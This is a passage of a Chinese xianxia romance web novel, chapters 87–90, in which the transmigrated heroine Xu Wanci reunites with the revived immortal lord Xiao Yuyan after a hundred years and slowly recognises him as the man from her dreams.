梦境中的那人,轻笑着看向她,目光是让她想要落泪的温柔。 看着这一幕,许晚辞的呼吸带上了一丝颤抖。 她一步步地朝着他走去,然后在他伸出手来的那一瞬,平静地与他擦肩而过。 她看着所有人匍匐在地的模样,声音带着一丝困惑: “你们,在跪什么?” 说到这里,她垂眸道: “你们,也能看到……那个幻影?” 第87章 晚晚,我好想你 七冶大漠中。 修仙界所有的渡劫尊者, 都恭敬的跪在地上,头深深地抵在黄沙之中,再也不敢有其他任何动作。 他们回想起方才白家长老在他们面前湮灭的情景,眼中不是对于强者的敬重, 而是恐惧。 他们这么多人, 莫说制止, 就连抬手的力气都不曾有。 若是方才的灵气想杀的人是他们, 他们也根本没有任何办法阻止。 这样超出他们预计于承受能力的强大, 千百年来, 只有一人。 这一刻, 他们仿佛又回到了百年前,感受到了那时清衍仙尊尚在时的恐惧。 曾经的当世第一人,修仙界中唯一的碎虚至尊。 修仙界中, 无不臣服。 只是在惊恐之余, 不少人眼中也带着一丝庆幸: 他们都看到了问心镜中, 许晚辞与仙尊的相处。 所以也知晓,她对仙尊有多重要。 幸好当时他们虽然对天道之音有所心动,但是却碍于种种原因, 没有动作。 若是他们方才若是也动了手,怕是如今也已经神魂俱消,再无生机。 想到这里, 所有人的身形愈发恭敬: 他们都知晓, 修仙界, 要变天了。 清衍仙尊复活一事,已经成为了定局, 如今的修仙界,根本没有人对仙尊能造成任何威胁。 最重要的, 是能从仙尊手下活下来。 就算仙尊要为许晚辞出气,那出气的对象,也大概是方才动手的白家。 想到这里,有尊者余光扫了白家众人一眼,面带怜悯。 白家主与白家所有长老覆在沙上的手不住地颤抖: 谁能想到清衍仙尊居然能复活? 以身祭天,神魂俱消的人,怎么可能还有死而复生的机会?! 白家主眼中闪过一丝绝望: 若是早知如此,他们哪里敢对许晚辞动手? 他们只会捧着她,把她奉为座上宾。 白家主想起方才响在识海中的声音,愈发懊悔: 那个天道之音,果然有古怪。 若真是天道,那它直接对许晚辞动手便是,为何还要怂恿众人动手? 如今他根本不敢出声,也不敢动作,生怕引起仙尊的注意。 白家身侧不远处,江泽单膝跪地,他一只手撑在砂砾之中,却从始至终都无法抬头。 在这样强大的存在面前,他所有的一切,家世也好,修为也罢,都像是一个笑话。 他缓缓闭上双眼,遮住了眼中的自嘲: 这样也好。 求而不得的人,有他一个就够了。 另一侧的季妄,在仙尊灵气出现的那一霎那,便意识到了什么。 与其他人不同,他的表情从始至终都是真切的崇敬。 只是在低头时,看着眼前的黄沙,他后知后觉地感受到了胸中涌起的酸涩。 他知道,从今日以后,他再也没有了靠近许晚辞的借口。 她与仙尊,终得圆满。 一地静寂中,所有人都听到了一阵由远及近、从容轻缓的脚步声。 让其他人双股战战,只能俯首的灵气,对于脚步声的主人却好像没有分毫压迫。 果然,修仙界中,不惧仙尊灵气的,怕是只有许晚辞一人。 接着,他们听到了一声困惑的轻问: “你们,在跪什么?” “你们,也能看到……那个幻影?” 所有人在听到她问题的那一瞬,身体都微不可查的僵硬了一瞬,眼中更满是茫然: 幻影? 那么强大而真实的存在,怎么可能是幻影?! 许晚辞如今也已经晋升渡劫,居然连真实与幻想都分不清么? 只有太清宗众人意识到了什么,眼中闪过了一丝叹息: 也不知这样的‘幻影’,她在百年中,见到了多少次。 所以才会在这一刻,也把真实当做了虚假。 不敢沉沦。 萧玉衍在听到许晚辞声音的那一刻,心脏蓦的收缩。 再之后,是密密麻麻、延绵不绝的刺痛,让他的呼吸都带上了一丝颤抖。 这一瞬间,他竟然不敢再想。 不敢想这百年中,她是如何熬到了今日。 他指尖绷紧,手背上青筋微凸,周身的气息好像带上了千年霜雪一般的清苦。 萧玉衍定定地看着许晚辞的背影,然后一步一步坚定地走到了她的身前。 看着她眼中依旧茫然的神情,他的双手抬起,仿佛是想要触碰什么,最后却又克制的落下。 他的声音满是珍视的轻柔与小心: “晚晚。” “是我。” 经历天道之音一事,许晚辞心中的警惕早已经提到了最高。 她只是没有想到,睁开眼睛后,看到的那个人,会是他。 那个她削骨割肉却依旧在她内心扎根的人。 即使如此,在问出那个问题之后,她也瞬间回过了神。 对于从来清醒的她而言,那几息之间的失神,已经是极限。 看着周围匍匐的众人,她用尽全力控制着自己的呼吸: 这不是梦境。 她如今的修为,身上的三叶莲,甚至是周围每一位渡劫尊者身上的气息,都在告诉她,她如今就处在现实之中。 意识到这一点后的许晚辞,心蓦得冷了下来。 她根本没有思考萧玉衍与梦境之人是否有关联。 先不说梦境一事在现实显现有多难得,只说气运…… 她不可能有这般好的气运。 被此番天道排斥,多少次九死一生的她,怎么可能会得到命运的优待,在现实中见到他? 听到一步步朝她走来的脚步,她一点点放轻呼吸与心跳: 这个人—— 是天道的安排,还是真的复活的清衍仙尊? 对于她而言,前者糟糕,后者更是糟糕至极。 许晚辞的余光扫过匍匐跪拜的众位渡劫尊者,心缓缓沉了下去: 她改变了那么多的原著剧情,甚至已经击溃了男主楚青川。 可天道也只在今日有所显现,还是想要利用其他人,制止她的作为。 由此看来,天道的能力大抵会受到限制,不可能凭空创出这样强大的存在。 更何况,方才她进阶的过程中,已经足够让天道杀了她,根本不需要多此一举。 所以,只能是后者。 原著中只存在于所有人回忆中的清衍仙尊,复活了。 许晚辞想起自己来到修仙界之后,一步步编织的近乎完美的谎言,她的心跳慢到了极致。 这是一个比方才还要让人绝望的死局。 她的谎言又怎么可能骗过本人? 作为唯一的碎虚至尊,清衍仙尊的强大,已经超过了修仙界所有渡劫修士的总和。 在绝对的强大面前,她根本无法护住自己。 许晚辞心中是前所未有的警惕,她大脑飞速转动: 如今她的修为,不可能与清衍仙尊抗衡。 他既然没有在见到她的那一刻就杀了她,说明事情说不定还有一线生机。 许晚辞理智地思考着接下来所有的可能: 当年清衍仙尊以身祭天,神魂俱消,即使复活后,身体可能依旧有什么损伤: 比如,记忆混淆。 又或者…… 可是,在听到他的那一声轻唤后,许晚辞的身体不可控制地轻颤了一下。 这个声音太过熟悉,熟悉到她不受控制的想起了梦境中的那个人。 一瞬间,她就压下了心中所有的想法。 只是一个称呼,只要有心,谁都可以想到这样称呼她。 她微不可查地呼出一口气: 不管为什么清衍仙尊没有对她动手,还对她表现的这样……亲近。 她都只能顺着她的谎言继续演下去。 许晚辞抬起头,在对上身前人那满是温柔与纵容的双眸后,手指不可控制的颤动了一瞬。 这一刻,她知道她应该对着他诉说等待的难熬,诉说这百年来的思念,起码要让身前人,感受到她百年的孤苦。 可是看着这一双眼睛,她最终只是轻声道: “好久不见。” 所幸,她现在什么样的表现,都不会让人怀疑。 他们相对而立。 明明过去刚刚消散,可是再见之时,他们之间却隔了一个百年。 萧玉衍听出了她声音中的倦怠,也能察觉到她身上隐隐的疏离。 他声音带着歉意与疼惜,轻得近乎乞求: “晚晚。” “是我不好,让你等了这么久。” 如果可以,他只希望等待百年的那个人,是他。 听到他的话,许晚辞的身体一僵。 她心中闪过无数个想法,却最终只是谨慎地低下了头: 她还不能确定是不是清衍仙尊与她的谎言混淆了记忆。 她只能以不变应万变。 萧玉衍看着避开他视线的许晚辞,双手无措的抬起,又放下。 在过去,她从来没有真的对他生气过。 她总是笑盈盈地看着他,眼中从来都只有他的存在。 就连那次他递给她酸涩至极的雨眠果,最终她也只是气鼓鼓地拉着他要去找清甜的灵果。 想起曾经两人的相处,萧玉衍周身的气息带上了几分无奈与苦涩: 那样坚韧强大,璀璨灵动的许晚辞,却成了如今沉默冷静的模样。 还因他的缘故,被天道针对,差点命丧于此。 他不敢想这百年中,她的经历。 他也不知晓,如何才能让她开心。 萧玉衍看着身前人,蓦然想起了第一次见面时,她的所求。 他指尖灵气涌动,一望无际的荒漠之上,开出了一片化雨昙花田。 晶莹的蓝色一寸寸铺满了整片大漠。 两人站在化雨昙花田之中,像极了当年的初遇。 萧玉衍如同过去的每一次见面一般,声音带着久别重逢的沙哑: “晚晚。” “我好想你。” 第88章 这个味道,与梦境中的味道一模一样 许晚辞在听到身前人声音的那一瞬, 心神不受控制的混乱了一瞬。 ‘我好想你。’ 这一句话,她在梦境中听到过无数次。 而每一次,她的回答都是‘真巧’。 怎么会这么巧呢? 等到她回神时,就看到了开遍整片大漠的化雨昙。 蓝色的化雨昙招摇的盛放, 将周围的一切都变成了一片蓝色的海洋。 许晚辞看着这一幕, 指尖带着一丝微不可查的颤抖。 她蓦然回想起了与那人在梦境的初遇: 他问她所求。 她说所求只有见一见传闻中的化雨昙。 身前人的所作所为, 与梦境中的那个人太过相似, 以至于她心中升起了一个连自己都觉得不可思议的念头。 可是很快, 她就把这个念头牢牢地压制: 她不敢抱有任何期待, 因为只要她走错一步, 结局将比死亡还恐怖百倍。 修仙界中人尽皆知她对化雨昙的喜爱,身前人知晓也不稀奇。 至于那一句话…… 久别重逢,两人之间的言语, 除了她的那句‘好久不见’, 怕也只剩下一句‘我好想你’。 许晚辞抿着唇, 逼自己放缓了带着一丝颤抖的呼吸,她理智地思考着: 如今清衍仙尊对她,大抵并无杀意。 以原著中仙尊淡漠的性格, 若是知晓事情真相,只会毫不留情的杀了她,根本不可能会有戏弄她, 以牙还牙的作为。 所以, 最大的可能就是, 死而复生的仙尊,记忆也有所混淆。 毕竟修仙界中, 大抵已经无人不知晓她与仙尊之间的关系。 只要他处在修仙界,就会不可控制的听到与他们二人相关的消息。 想到这里, 许晚辞抬起头,接着就对上了一双清冷出尘、映刻万物,但在看向她时却近乎乖巧的眸子。 她下意识屏住了呼吸,一息后,才终于出声: “我是谁?” 她的声音很轻,好像只是想要一个回答,一个能让她确认身前人不是幻影的回答。 萧玉衍听到她的问题,强行克制住周身想要环绕住她的灵气,一字一句道: “你是晚晚。” “是这个世界上,最重要的人。” 即使已经猜到了他的回答,许晚辞心跳依旧快了一瞬。 可也只有一瞬。 她后退一步,侧头看向了跪伏在地的众人,遮住了眼中的试探,轻声道: “那他们呢,他们是谁?” 听着许晚辞的问题,本来还在庆幸自己没有引起仙尊注意的众位渡劫尊者身体蓦然一僵。 他们感受不到仙尊的视线,却能察觉到那如影随行的压迫。 所有人都面带绝望地看着地上开放的化雨昙,每一株化雨昙中都蕴含着仙尊的灵气,让他们的脸色愈发苍白。 此刻更为绝望的,是白家众人。 他们眼中,许晚辞已经与杀神无异。 可萧玉衍只是淡漠地扫了一眼地上的众人,就转过头继续专注地看着身前人。 对于他而言,这世间,除了许晚辞,再无其他。 他想起方才她的问题,抿着唇声音认真: “他们是……人。” 饶是许晚辞早有准备,也没有想到这个回答。 她忍不住抬眸看向他。 萧玉衍对上她的目光,仿佛知道自己的回答不和她的心意一般,眼中多了几分小心: “他们是……修士?” 听到这里,许晚辞垂眸遮住了眼中一闪而过的笑意,也克制住了稍微加快的心跳。 她恍惚间想起了曾经梦境中人的话: ‘在见到你之前,我的眼中,从来没有其他人。’ ‘只有你。’ ‘从来只有你。’ 她缓缓呼出一口气,目光也重新变得清明: 看来清衍仙尊的记忆,果然损伤。 不然,他肯定会认出太清宗的几位长老。 想到这里,许晚辞绷紧的心终于放松了些许。 她转过身,看着一望无际的化雨昙花田,声音疏远却带着一丝深藏的亲近: “如今已经出来许久,是时候该回宗门了。” 萧玉衍察觉到了她语气中细微的变化,眼中终于带上了浅浅的笑意。 这一刻,他终于感受到了一丝尘埃落定的欣喜: 他真的见到了她。 在百年之后。 他们可以拥有漫长的未来。 * 玉极飞舟上。 宁孟澜与几位长老蜷缩在角落之中,每个人安静的如同一个哑巴?? 。 二长老与三长老更是你挤我,我挤你,目光对视之后,又默契的移开,看天看地,就是不敢看向前方。 若不是许晚辞的存在,若不是知晓许晚辞对仙尊的重要性,他们怕是早已经拼死逃离了这座飞舟。 就算是在百年之前,他们连见仙尊一面的机会都少有,更不用说同乘一座飞舟了。 纵然他们修为已经是当世顶尖,却根本察觉不到仙尊的存在,只能用余光扫到那一角的月白。 这是早已超出他们认知的强大,怕是已经能融形于万物。 若是仙尊有意,怕是整个修仙界,都无人能察觉到他的存在。 想到这里,所有人的神情愈发小心而敬重。 飞舟之首。 萧玉衍感受着身侧人身上隐隐透露出来的疏离,眸中的微光一点点变得黯淡。 他牢牢禁锢着周身不受控制想要涌向身旁的灵气,低头时,竟然有了一丝乖巧与委屈的意味。 他知晓他们之间隔了太久,她对他的生疏实属正常。 可…… 想起曾经许晚辞对他的信任与亲近,他面色还是带上了浅浅的失落,周身的气息也多了几分落寞。 萧玉衍拿出一枚仙品甜灵果递到了她的面前,声音温柔而小心: “晚晚,要试一试么?” 如今她的修为,已经完全可以吸收仙品灵果之中的灵气,他也终于无需再淬炼灵果,也终于可以把所有的灵果,都捧到她的身前。 许晚辞看着眼前圆润小巧的甜灵果,浓密的睫毛微微颤动: 也不知道它是不是如同梦境中一般清甜美味。 不管心中如何想,她表面上都一片平静,她轻轻摇了摇头: “不用了,多谢。” 身后的太清宗众人虽然感受不到清衍仙尊的存在,却能听到他那温柔的如同清雪一般的声音。 听着这个声音,恍惚间他们仿佛忘却了百年前的仙尊,挥手间覆灭山海的淡漠与强大。 他们还来不及诧异仙尊对许晚辞的特殊,就感受到了仙品甜灵果散发出来的浓郁灵气。 这种品阶的灵果,吃一枚,便对修为有着莫大的进益。 可许晚辞却这样轻易地拒绝了。 听到她干脆的拒绝时,众人心中涌起的不是惋惜,而是担忧。 即使他们知晓仙尊对她的喜爱,却也担心她的反应,会让仙尊……不满。 萧玉衍当然不会不满,他只会怪自己拿出的这枚灵果不合许晚辞的心意。 他没有犹豫的收回甜灵果,又换了一枚玲珑果。 许晚辞看着再次出现在身前的灵果,心中的紧张不知什么时候已经消散了许多,她走神了一瞬: 他递给她的,怎么都是她喜欢的灵果? 只是她知晓多说多错,多动也多错。 如今最好的办法,就是尽可能的维持他们两人之间微妙的平衡。 总归如今她若是表现的对灵果喜爱异常,才是不对。 接着,萧玉衍又递过来了几个举世罕见的仙品灵果。 不远处的太清宗众人已经麻木。 许晚辞依旧没有什么反应。 萧玉衍看着她好像根本不喜欢这些灵果的模样,拿着灵果的右手微微一顿: 她虽然从未说过喜欢什么灵果,可是他早已记了下来。 这些灵果,明明她吃的会多一些。 他有些固执地将一枚灵果再次递到她的面前,只是这一次,他拿着灵果的,是左手。 修长有力的指尖执着一枚浅青的青玉果,看起来赏心悦目。 可更吸引人视线的,是他手腕处的那一颗小痣。 看到这颗红痣后,梦境中的习惯让许晚辞的指尖下意识的动了动,等反应过来时,她的手已经伸了出去。 意识到不对的她,手从萧玉衍的手腕拐了个弯,最终拿起了他指尖的灵果。 许晚辞感受着身侧人那熟悉的灵气,看向手中青玉果的目光带着几分无奈: 是梦境对她的影响太大么? 明明是这样危险的时刻,她居然几次三番放下了警惕心。 这是她曾经,从未犯过的错误。 她一点点的握紧手中灵果,像是下定了什么决心一般,看向了腰侧的三叶莲。 三叶莲是清衍仙尊炼制,若是他还有曾经的记忆,那他定会认出三叶莲,也会知晓……三叶莲真正的效用。 所幸她经历的幻境不算太多,即使他知晓三叶莲作用,也应该不会轻易怀疑她。 这是她在察觉到周围环境安全之后,不得不继续的试探。 就在她已经做好了最坏的打算时,却见到身侧人再次伸过了左手。 依旧是一枚青玉果。 只是这一次,他的动作恰好挡住了她看向三叶莲的视线。 萧玉衍不喜欢占据她视线的一切,尤其是和百年前的‘他’有关的事物。 纵然知道百年前,只有他与她。 他侧过身,单膝跪在了她的身前: “晚晚,不试一下么?” 许晚辞对上他期待的目光,心中已经有了答案: 看来他对百年前的这一个三叶莲,并没有什么印象。 放松下来的她小口咬了一下手中的青玉果。 可是口中的味道却让她蓦然怔愣在了原地: 这个味道,与梦境中的味道一模一样。 可是在这之前,她根本没有吃过青玉果。 这一刻,她脑中闪过了无数想法,最终却都化作了一阵带着颤意的呼吸。 萧玉衍看到她终于吃了他递过去的灵果后,眼中带着真切的笑意。 他身边的灵气一点点的探出,小心的拂过她的发丝。 只是…… 感受到身后其他人的存在后,他轻声道: “晚晚,你想去齐云秘境看一看么?” “那里有许多青玉果。” 听到他的声音,许晚辞闭上了双眼。 齐云秘境,是他们最后一次见面时停留的秘境。 是他在祭天之前,他们最后一次相见的地方。 她声音带着一丝干涩: “可是现在并不是齐云秘境开启的时间。” 萧玉衍扬起唇角,眼中盛满了温柔的笑意: “只要晚晚想,什么时候都可以。” 百年前可以,现在依旧可以。 许晚辞声音沙哑的拒绝: “还是……不了。” “我想回宗门。” 然后好好理一理自己的思绪。 听到她的回答,萧玉衍的灵气轻柔地拂过她的侧脸: “好。” 只是感受到飞舟上其他人的存在,他眸中多了几分冷意: 曾经,只有他们。 可现在…… 除了许晚辞再不在意任何人萧玉衍,终于察觉到了其他人的存在。 飞舟上的众人感受着忽然明显起来的碎虚灵气,面色满是绝望: 什么时候才能到太清宗啊! 他们快要熬不下去了!! 第89章 萧玉衍,我好想你 看着不远处巍峨宏伟的太清宗, 宁孟澜与几位长老相对而视,每个人都看清了对方喜极而泣的双眼: 终于回到宗门了! 不过短短半个时辰,却仿佛比他们的命都还长。 再多待一会,他们就要坚持不下去了。 等到飞舟落地, 宁孟澜等人不敢擅动, 只是起身低头, 恭敬地等待不远处的清衍仙尊先下飞舟。 飞舟前的空地上, 太清宗所有峰主与内门弟子全都聚集, 正整整齐齐地跪在地上。 七冶大漠中发生的一切, 并非绝密, 太清宗也早已接收到了消息。 所以全宗门众人全都齐聚于此,恭迎仙尊重回太清宗。 许晚辞从飞舟站起身,就看到了无数朝着她所在的方向跪拜的众人。 她下意识往右侧走了几步, 避开了众人跪拜的方向, 也恰好避开了萧玉衍伸出的右手。 她没有停留地跃下飞舟, 看着延绵了数百米恭敬俯身的众人,她指尖微微一动。 或许是出现在她面前的萧玉衍太过无害,让她总是不经意间忘记了他的身份。 高高在上, 足以令整个修仙界俯首的清衍仙尊。 一个她只是以谎言编制了她与他的一段曾经,就让所有人都不敢动她的碎虚至尊。 想到这里,她侧头看向也下了飞舟的那人。 萧玉衍正定定地看着她, 方才想要扶住她的右手背在了身后。 他抿着唇, 目光比起之前的温柔纵容, 多了一丝微不可查的控诉。 看着这样的他,许晚辞忽然有了一个奇怪的感觉: 这一刻, 若是她也与其他人一般,跪在他的面前, 他怕是会委屈的红了眼眶。 只是一瞬间,她就抛开了这个想法: 怎么可能呢? 以他的身份,不让别人灰飞烟灭就已经很好了,怎么可能有人敢让他动怒? 大抵是她这段时间精神太过紧绷,所以才会有了这种错觉。 不远处的宁孟澜不敢抬头,他感受着周围安静的氛围,深呼吸了数次,最终战战兢兢地走上前来,对着萧玉衍行了一礼。 他作为太清宗宗主,根本不能像其他长老一样躲得远远的,只能壮着胆子,恭恭敬敬地问道: “仙尊,是否要开启落玉峰的结界?” 落玉峰是仙尊的灵峰,只是在仙尊祭天后被封存了百年,无人能开启结界。 所以,他只能前来请示。 萧玉衍的目光从未离开过许晚辞分毫,他也从未在意过周围的任何人。 从醒来的那一刻起,他的眼中就只有一人的存在。 听着身侧传来的身影,他仿佛终于察觉到了周围众人的存在一般,周身的气息一点点冷了下来。 清冷寒彻的碎虚灵气震荡开来,却偏偏只有许晚辞的身旁温暖如春。 感受着周围无声无息但却压迫至极的灵气,宁孟澜的后背霎时生出了一身冷汗,他意识到了什么一般,忙不迭地继续道: “仙尊刚回宗门,我等不便打扰,这就离开。” 说完后,他感受着仿佛消退了些许的灵气,赶紧对着身后的众位长老与峰主做了一个手势。 不过三息的时间,所有人安静的退去。 回到归元峰后,宁孟澜才终于舒了一口气。 他看着前方太清宗内延绵不绝的灵峰,眼中的情绪复杂中带着几分庆幸: 仙尊的修为太过强大,强大到随手一动,可能都会让修仙界产生动荡。 更不用说他对所有修士的压制,没有修士想身上永远压着这样一座大山。 可也正是如此,在七冶大漠中,才没有任何一人敢对许晚辞动手。 那个‘天道之音’以飞升为蛊惑,根本没有修士能够拒绝。 若是只有太清宗的几位长老,根本不可能阻止所有的渡劫尊者。 如此,也算大幸。 想到这里,宁孟澜释怀笑了笑: 若不是仙尊,修仙界何来百年安定? 如今只不过是回到百年前罢了,有什么可担忧的? 更何况…… 想起许晚辞为了让仙尊复生,数次生死一线的场景,宁孟澜叹息着摇了摇头: 百年的等待,终于有了结局。 一个所有人都不敢想象的圆满结局。 想来有许晚辞在,仙尊大抵也不会再像百年前一般,无牵无挂,万物可舍。 * 曲径通幽的小路上,许晚辞与萧玉衍并肩而行。 两个人的蓝衣行走间偶有交汇,看起来温馨而亲近。 实际上许晚辞每走一步,都在想着如何才能让两人分开。 可是感受着身边隐隐传来的熟悉的灵气,她却直到最后也没有开口。 她看着小院浅色的木门,纵然尽量保持冷静,思绪却仍然有些混乱。 所以,也就没有察觉到恋恋不舍地勾着她发丝的那一抹灵气。 她推开门,幻颜树的树叶随风而动,幽幽落下。 幻颜树旁,是一方浅黑的暗玉桌,桌上摆着一壶尚未喝完的灵茶,仿佛院子的主人一直从未离开一般。 萧玉衍看着院中的一草一木,周身的灵气带上了几分安然: 明明是和虚无之中一模一样的场景,他却只在这里,感受到了心安。 他收回了勾住身前人发尾的灵气,眼中带上了清浅的笑意。 许晚辞感受着周围愈发温柔的灵气,略显迟疑地转身看向身前的人。 她轻声开口: “周途劳顿,你应该也累了,不若回落玉峰好好休息。” 听到她的话,萧玉衍垂下双眸,身边的气息肉眼可见的变得落寞。 他指尖动了动,最终只是温柔道: “好。” 她与他许久未见,生疏也是应该。 总归他们之间,还有很漫长的未来。 * 窗外,明月高悬。 许晚辞躺在床上,眼中没有分毫睡意,也并没有和从前一般彻夜调息修炼。 她微微抿唇,今日的场景不受控制地在脑海浮现。 从一开始萧玉衍对她的称呼,到后来那开遍大漠的化雨昙和那与梦境中一般味道的青玉果,再到他说得每一句话…… 还有他身上的气息。 那样清冷但却无害人,让她根本升不起警惕之心的气息。 只有梦境中的那个人才有的气息。 每一点,似乎都在引诱她发现着什么。 许晚辞的呼吸声一点点加重: 要知道原著中对清衍仙尊的描写,大抵可以归为几个字: 至疏至冷,万物云烟。 若是如她猜测,他只是记忆被混淆,只是从他人口中得知她与他之间的关系。 那他真的会一丝怀疑都没有,不但欣然接受,还对她这般纵容么? 这般近乎宠溺,予取予求,好像她说什么,他都会答应。 还有她。 她自认为对自己已经足够了解,可今日应对萧玉衍时的种种反应,真的正常么? 若是平时,面对挥手就能取她性命的碎虚至尊,她敢多次试探,甚至出言让他离开么? 所有的疑惑,最终都指向了一个结果。 许晚辞蓦然闭上了双眼,平稳的心跳也开始逐渐混乱。 不管理智告诉她,她的想法有多离奇,可是心中却有一个声音,让她相信。 如果真的如她所想…… 她攥紧双手,仿佛说服了自己什么,翻身下床来到了小院中。 看着门口的方向,她心中隐隐有预感: 那个人,还在。 许晚辞一挥手,渡劫期的灵气悄无声息地打开了木门。 夜色中,一个身影静静地站在那里。 银白的月光洒在他的身上,好像落了一层薄薄的霜雪。 他有着一张清贵俊逸的脸,周身的气息清冷寒彻,却在见到她的那一瞬间无声收敛,只剩下了一片春雪的轻柔。 萧玉衍一直小心地收敛着自己的灵气与神识,没有越过木门分毫。 所以,也就不曾察觉院中的动静。 看着出现在他面前的身影,他眼中闪过一丝怔愣,随即有些无措地解释: “晚晚,我只是……” “想见你。” 又怕打扰你。 许晚辞只看他的反应,便知道他根本不曾探查她的一举一动。 可她并没有意外。 她蓦然打断了他的话,声音带着一丝干涩: “为什么不回落玉峰?” 她记得那时在梦境中,他对她说的话: 他不喜欢那里。 与此同时,身前人的声音也响在了她的耳边: “我不喜欢那里。” 许晚辞整个人僵硬在了原地,心中的那个念头,如同海啸一般汹涌而来。 她抬起头,第一次这样认真地看着他。 看他清冷淡漠却对她永远都温柔纵容的双眸,看他微微抿紧的唇,看他左手手腕上那一粒灼眼的红痣。 她如同在梦境中一般,轻声地喊出了他的名字: “萧玉衍。” 在这之前,她不知道应该如何称呼他。 仙尊太过疏远,会让所有人怀疑。 可萧玉衍三个字,她却不想再用来称呼任何人,哪怕是真正的清衍仙尊。 她的萧玉衍,只有一个。 听到她的声音,萧玉衍周身的气息倏地翻涌,又被他牢牢压制。 情绪起伏之下,他袖口处的莲纹也隐隐作现。 许晚辞定定地看着那歪歪扭扭,看起来和他一点都不匹配的静玉莲莲纹。 那独一无二的纹路,是她为梦中的那人而作。 她扬起唇角,眼眶却蓦然湿润。 她想起萧玉衍对她说过的话: ‘如果那个人真的爱你,那他自然会回到你的身边。’ 他真的,来找她了。 许晚辞一步步地朝着萧玉衍走去。 每走一步,她残存的理智都在冷漠地提醒她。 提醒她如今的萧玉衍有多强大,在梦境之外,她根本没有可能如同梦境中那样控制他。 提醒她前方的危险,她若是继续走下去,便再也没有了回头路。 可是她依旧向前走着,每一步都带着不愿后退的坚定。 她记得梦境中所有的一切,也愿意试着相信: 相信纵然无法掌控,萧玉衍依旧不会伤害她。 这是他在梦境之中,给她的底气。 许晚辞来到萧玉衍身前,看着在梦境之外,现实之中依旧存在的身影,她声音沙哑: “萧玉衍,我想吃雨眠果了。” 萧玉衍强行克制住了想要伸出的手,他小心地问道: “可是你上一次吃它……” 想起曾经许晚辞被雨眠果酸得眼泪都要流下来的模样,他轻声道: “要不要试一下其他灵果……” 许晚辞听到他的回答,轻轻眨了眨眼睛,一滴泪无声落下。 这一次,萧玉衍接住了这一滴眼泪。 温热的泪珠,灼得他掌心刺痛。 他的手伸在半空,却不敢动作,这一刻,他抛掉了曾经许晚辞吃完雨眠果后对他的叮嘱,声音是不曾犹豫的妥协: “我这就去找雨眠果。” 许晚辞向前一步,紧紧地抱住身前的人,制止了他离开的动作,她一字一句道: “萧玉衍,我好想你。” 这句话,她晚了整整一日。 所幸,还不算太迟。 第90章 他近乎失控地吻住了她 回到卧房后, 许晚辞坐在床侧,看着窗外的满院月色,缓缓平复着自己稍显混乱的心跳。 当初若不是她自认为身处梦境,自认为对梦境有所掌控, 从来理智的她, 不可能放任自己心动沉沦。 在沉沦其中的那一刻, 她就已经做好了梦境结束的准备。 她从来没有想过, 原来她也有被命运偏爱的时候。 她以为的结束, 原来是现实的开始。 只是…… 纵然心中情绪复杂纷乱, 她脑中的那一丝清明依旧在提醒她梦境中隐隐显露的问题。 梦境中的人已经出现在了她的身边, 那她以为的梦境,大抵只是另一个时空的真实。 所以,她可能真的回到了百年前。 许晚辞眉心微不可查地蹙了起来: 百年前的萧玉衍, 已经是碎虚至尊, 修仙界万人之上的存在。 可为什么第一次见面时, 他就对她那样纵容,就好像那个时候的他,早已经认识她了一般。 还有他的记忆。 他好像不记得百年前除了她以外的那些事情, 包括太清宗众人,也包括他亲手炼制的三叶莲。 他只记得她。 许晚辞浓密的睫毛微微颤动,她压下又有所加快的心跳, 缓缓呼出一口气: 她知道的信息太少, 根本无从推测。 她只知道, 出现在她面前的这个萧玉衍,她不想放手。 想起所有渡劫修士对萧玉衍俯首跪拜的场景, 她指尖微动: 只是一个身影显现,就足以令所有修士放弃飞升的机缘…… 无论是百年前还是现在, 他的强大,都远远的超过了她的预计。 她不喜欢超出掌控的事情,因为那意味着一旦失控,她或许会承受她接受不了的代价。 可…… 他是特殊的。 是她在‘梦境’中,就甘愿为之破戒沉沦的存在。 许晚辞看着自己空无一物的双手,缓缓握紧: 如今他们已经在现实相聚,她再也不需要担忧随时都可能消失的梦境。 他的修为强于她再多又如何? 只要她努力修炼就好了! 等她的修为晋升碎虚,甚至飞升,那她担心的所有问题,就都不是问题。 想到这里,她眼中多了几分坚定: 她晋升渡劫已经一日的时间,但是根本还没有来得及巩固修为。 是时候继续修炼了。 翌日。 许晚辞推开木门,就看到了含笑站在她面前的人。 他身后,一座与她小院相似的院落拔地而起,透过半掩的木门,隐约能看到其中一棵苍翠有力的青杉树以及一池浅红的静玉莲。 她忽然想起第一次见到他时的场景。 那时,他站在一棵青杉树下,身影清冷皎洁,胜过万千月色。 许晚辞看着身前人周身寒气收敛,只剩温柔灵气的模样,眼中盛满了星星点点的笑意。 她笑盈盈地看着他,如同‘梦境’中一般,熟稔地牵起了他的左手,指腹熟练地摩挲起了那颗红痣。 萧玉衍的左手僵硬了一瞬,随即若无其事的放松。 他将手腕往前递了一寸,让她可以牵得更加顺手。 许晚辞察觉到了他的纵容,像是想到了什么,笑意稍退,右手从他手腕转了一圈,中指搭在了他手腕的经脉之处。 神魂俱消后的复生,身体真的不会受到影响么? 之前,她在连自己安危都不确定,只能逼自己忽略。 可是现在,见到萧玉衍后,她再也没有掩饰自己的担忧。 她灵气探入他的经脉,却如同一滴水落入了汪洋大海,根本掀不起丝毫波澜。 纵然他灵气强大如斯,她的动作却从始至终都没有受到任何阻拦。 感受着自己即使微弱却畅通无阻的灵气,她忽然有一种错觉,只要她想,她甚至可以探入他的丹田与……识海。 想到这里,许晚辞的灵气蓦然一顿。 她抬起头,就对上了身前人还来不及收起的惋惜。 萧玉衍看着她的目光,面对其他人时总是淡漠无情的双眼此刻却带上了几分无辜的乖巧: “晚晚,怎么了?” 许晚辞松开了手,她知道以自己的灵气,根本探查不出什么问题,于是直接问道: “萧玉衍,你身上……有伤么?” 萧玉衍听到她的问题,眼中笑意加深,他摇了摇头,不曾提及一次次被摧毁然后重组的经脉,也不曾提及从灵魂深处剥离天道之力的痛苦。 他只是轻描淡写道: “并无。” 许晚辞抬起头,眉宇间带着一丝狐疑: “真的么?” 萧玉衍再也忍不住,直接将她拥入怀中,下巴搭在她的肩膀上,环住她腰际的右手缓缓用力。 他的呼吸洒在她的耳边,声音温柔而认真: “晚晚,我永远不会骗你。” 许晚辞听着萧玉衍的回答,终于安心,也后知后觉地感受到了耳边传来的温热。 她耳尖不受控制的染上一抹浅红。 萧玉衍左手勾着怀中人如墨的长发,身上的灵气再也没有压制,一点点将她环绕,连她泛红的耳尖也没有放过。 纵然没有了天道之力的影响,可靠近她,早已经成为了他的本能。 想起曾经他们之间的相处,萧玉衍声音带上了一丝期待: “晚晚,我们……” 